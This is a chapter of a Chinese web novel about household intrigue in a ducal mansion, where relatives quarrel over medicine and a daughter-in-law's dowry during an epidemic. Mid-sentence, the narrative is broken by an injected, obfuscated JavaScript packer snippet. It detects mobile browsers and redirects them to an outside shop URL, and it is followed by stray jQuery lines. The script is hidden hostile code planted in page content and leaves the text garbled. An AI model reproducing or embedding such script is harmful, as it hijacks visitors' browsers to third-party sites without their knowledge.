曹姨娘一直在派人盯着姜青芷,听说她亲自去了东城门,还捐了好些粮食和药材后,立即跑到耀辉堂说嘴。
恰好二房的冯氏也在,正在和盛氏诉苦:“大嫂嫂,这事你可不能不管,咱们家那么多人口,总不能都赶走吧?这病症轻的还是得吃药。”
曹姨娘进来行了礼,问道:“几天没见,二婶娘怎么消瘦了这么多?”
冯氏现在也没心思和她扯皮,单刀直入的问:“曹氏,你来的正好,我且问你,这些天疫病那么多,咱们几家的药材是怎么分的?”
“二婶娘为什么这么问?难道二房没收到药材吗?”
“你是当家人,自然是要问你,”冯氏没有好脸色:“我们家收到的那几包药够谁吃的?一人一包都不够分的,更不要还有真生病的,那就更不够吃的了。”
“二婶娘也不要生气,且听我慢慢的说,”曹姨娘对此早就做好了准备,当下笑道:“母亲的意思是说,生病了的下人是要赶出去的,就怕病气过给其他人,既然没有病人,也就用不上备药,所以我们家是没什么备药的。”
她“啊”了声,恍然道:“对了,备下药也是分过了的,一家一份,二房三房都有,眼下是没有多余的药了。”
“什么?没有药了?你,你就准备了那么一点点的药?”冯氏当下就急了,焦灼的站起身:“外面在疯抢药材,那药材卖的比黄金都贵,你之前竟然一点防备都没有?”
曹姨娘前面说了那么多,等的就是现在。
她不急不缓的笑道:“二婶娘,您老是清楚的,咱们国公府家大业大,要是真备药的话,那是一笔不小的数目,况且,也不确定是否用的上,若是无用扔掉了,岂不更是浪费,所以我便没有备药。”
“你这话说的还真是轻松,如今我们家有了疫病,你说怎么办?”冯氏一甩衣袖,冷下脸:“我不管,你且先拿一千两银子给我,我让他们去买药!”
盛氏本来是坐在那里闭目养神,拿着佛珠念阿弥陀佛的,听到一千两银子,瞬间警醒。
“二弟妹,你说多少?”
“一千两,”冯氏没一点退让的意思,恶狠狠道:“现如今,外面治疫病的药比黄金都贵,就这一千两还不一定能买的着药材呢,我也是先拿一千两用着看,不行的话还要支取!”
“老二家的,你还真是狮子大开口!”盛氏冷笑:“一千两,够买下一个半的药铺了!你要一千两,三房四房再来要一千两,国公府还够你们要几次的?”
这是想求药治病的意思吗?
趁火打劫吧!
盛氏清楚的很,要是她现在松了口,三房四房马上就会跟来讨要一千两。
到那时,就是个无底洞。
她怎么可能答应!
冯氏猜到了她的小心思,冷笑道:“大嫂嫂,你这话什么意思?三房四房怎么说,我们不管,我反正你不能放着我们府里的疫病不管!”
盛氏会怕她?不屑叱道:“有疫病怕什么?直接给轰出去,生死有命!”
“要是都轰出去了,谁来伺候我们?”
“那就买些没生病的进来……”
“……”
眼看着盛氏和冯氏争吵起来,曹姨娘不急不慢的站起身。
“母亲,二婶娘,不过是一点药材的小事,也值得咱们坐在这里争端!”
“曹氏,你别想着帮你婆婆欺负我们二房,”冯氏狠狠挖了她一眼:“我告诉你,今天要么拿银子,要么拿药,要不然咱们今天没完!”
盛氏眼睛一转,从曹姨娘的气定神闲里猜到端倪,不动声色:“曹氏,你有什么主意不成?”
曹姨娘等的就是这句话。
她立即福礼道:“母亲,二婶娘,咱们国公府的库房是没有药了,可是大娘子的私库还是有的呀。”
“……”
盛氏与冯氏立即互相看了一眼。
姜青芷的私库里可不止有药材那么简单!
她的私库里还多的是金银珠宝!
冯氏咳嗽了一声:“你们家大娘子的私库都是她的嫁妆,怎么,大嫂嫂这是要将主意打到儿媳妇的嫁妆上了吗?”
“二弟妹,话可不能这么说,我是不缺儿媳妇嫁妆的人,”盛氏忍无可忍的翻了个白眼:“再说了,眼下是你又要银子又要药材的,又不是我!”
冯氏打姜青芷私库的小算盘,隔着汴京城都能听得到。
她盛氏又不是傻的!
自己家儿媳妇的嫁妆给你们用了,难道还要她背着恶名不成?
这若是传出去,那国公府的脸还要不要了?
“母亲,二婶娘,你们都先别急,等我说完了再商量如何处理这件事,”曹姨娘淡定从容的端起茶盏,奉于冯氏面前:“二婶娘有所不知,我刚刚才得到消息,说是咱们家大娘子送了一些货物和药材到东城门。”
“到东城门?”冯氏不明所以的看向盛氏:“所以呢?”
可盛氏也是一头雾水:“她去东城门做什么?外面疫病那么重,我之前还说过,不得已的事情,不许出门。”
“母亲不知道吗?”曹姨娘装作很是惊讶的样子:“我以为大娘子是受
母亲授意,才去的东城门……”
“你少卖关子,究竟是什么事,仔细说来!”盛氏不悦道。
“母亲,听说霍侯爷在东城门做善场,舍粥舍药,而咱家大娘子也就此
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13587805|143154||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
送了些了米面和药材过去……”曹姨娘不说自己盯着姜青芷的事,还装作一副无辜的样子煽风点火。
“好呀,大嫂嫂,你可真是调教出一个好儿媳啊,”冯氏呛声挑火道:“咱们自己家都没药可吃,她竟然还将药材送人!大嫂嫂,这事你看着办吧,是给我一千两还是药材,总之我要一个交代!”
“真是岂有此理,这都什么时候了,她还做这样的蠢事?”盛氏不用挑拨都生了一肚子火,当即让刘妈妈去叫人。
不多会,姜青芷跟了刘妈妈过来。
她一进门就感知到逼仄的气场,不动声色的福礼:“母亲福安,二婶娘福安!”
冯氏翻了个白眼:“不敢当,我这点福气,怕是还得侄媳妇你成全才行呢!”
“二婶娘为什么这么说?”
“听说你送了不少东西去东城门做善场?”盛氏没好气的呛声。
冯氏就在这里,她正好拿出婆婆的款,一来是可以打压姜青芷,二来也让冯氏看看自己的气魄。
“儿媳正要和母亲说这事,”姜青芷拿出一份清单,打开呈给盛氏:“冠军侯身份尊贵,他在东城门做善场,儿媳便没有惊动母亲,擅自做主,送了些东西过去。”
“你好大的胆子,这么大的事情,你竟然敢擅自做主,都不和我商量……”盛氏还要发飙,但是看到清单上的名字之后,神色瞬间不对了。
清单的抬头,竟然写的是【周煊元敬上】。
她错愕的很:“这,姜氏,你这是用元哥儿的名义送去的?”
“母亲明鉴,儿媳想着侯爷风头正盛,夫君如今又初入仕途,若是能得到侯爷的提携,那将来必定一帆风顺,所以才以小世子名义送了东西,而且,这些东西走的是儿媳私库的账目,与国公府无关。”
姜青芷淡淡的抬起眼尾,似笑非笑的看向冯氏和曹姨娘。
“二婶娘,曹嫂嫂,恰好你们都在,我也就在此说明一下,国公府的帐都是曹嫂嫂做的,我的东西有没有走公账,她最是清楚,是吧,嫂嫂?”
曹姨娘唇角狠狠抽了抽,笑意勉强:“是,大娘子走的是私库的嫁妆,可是……”
“既然曹嫂嫂这么说,那我便放心看了,想必日后也不会有什么纠葛麻烦,再者……莫不是我用自己的嫁妆做事,还有什么不对吗?”
“……”曹姨娘和冯氏瞬间哑巴。
这有什么不对的?
人家姜青芷是用自己的嫁妆,给自己的夫君铺路,捧的是当今权王的大腿,没有动公家一丝一毫。
这就好比人家自己有钱,顿顿鸡鸭鱼肉的换着吃,那是人家自由,没道理你没钱买肉,吃糠咽菜的,就逼着别人也和你一起啃剩骨头。